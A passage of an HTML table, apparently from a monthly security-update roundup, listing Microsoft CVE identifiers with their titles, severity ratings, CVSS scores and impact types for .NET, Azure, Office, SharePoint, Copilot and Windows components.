  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
